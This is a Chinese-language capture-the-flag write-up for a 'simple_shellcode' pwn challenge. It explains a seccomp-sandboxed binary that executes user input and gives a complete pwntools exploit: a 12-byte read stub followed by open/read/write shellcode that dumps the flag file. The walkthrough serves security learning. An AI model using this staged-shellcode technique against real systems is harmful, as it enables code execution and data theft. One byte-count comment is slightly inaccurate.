simple_shellcode
zach0ry

题目

image-20250829210231863

  1. MEMORY[0xCAFE0000]: 这部分表示程序正在访问内存地址 0xCAFE0000 处的内容。
  2. (): 在 C/C++ 等编程语言中,圆括号 () 通常表示函数调用

合起来,这句话的意思就是:将内存地址 0xCAFE0000 中的内容视为一个函数(或一段可执行代码),并立即执行它。

image-20250829210242551

该沙箱主要通过 seccomp 过滤器禁用了与执行新程序提升权限相关的系统调用,特别是 execveexecveat

在main函数可以看到只能输入0x10个字符,这个长度无法构建shellcode

所以调用一个长度足够的read函数读入(12个字节)

read的三个参数。rdi是文件描述符,rsi是写入位置,rdx是写入长度

rdx执行read的时候是0x10

但是当他运行到调用buf的时候,rdx的数值是buf的地址

image-20250829211511121

1
2
3
4
xor rdi, rdi:1 字节 (\x48\x31\xff)
mov rsi, rdx:3 字节 (\x48\x89\xd6)
add rsi, 0xc:3 字节 (\x48\x83\xc6\x0c)
syscall:2 字节 (\x0f\x05)

然后就可以对flag文件进行操作

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#io = remote("node5.anna.nssctf.cn", 21185)
io = process("./vuln")
elf = ELF("./vuln")
gdb.attach(io)
io.recvuntil(b"shellcode:\n")

read_code = """
xor rdi, rdi
mov rsi, rdx
add rsi, 0xc
syscall
"""
io.send(asm(read_code))

shellcode = shellcraft.open('./flag')
shellcode += shellcraft.read(3, 0xCAFE0000 + 0x100, 0x100)
shellcode += shellcraft.write(1, 0xCAFE0000 + 0x100, 0x100)

io.sendline(asm(shellcode))

io.interactive()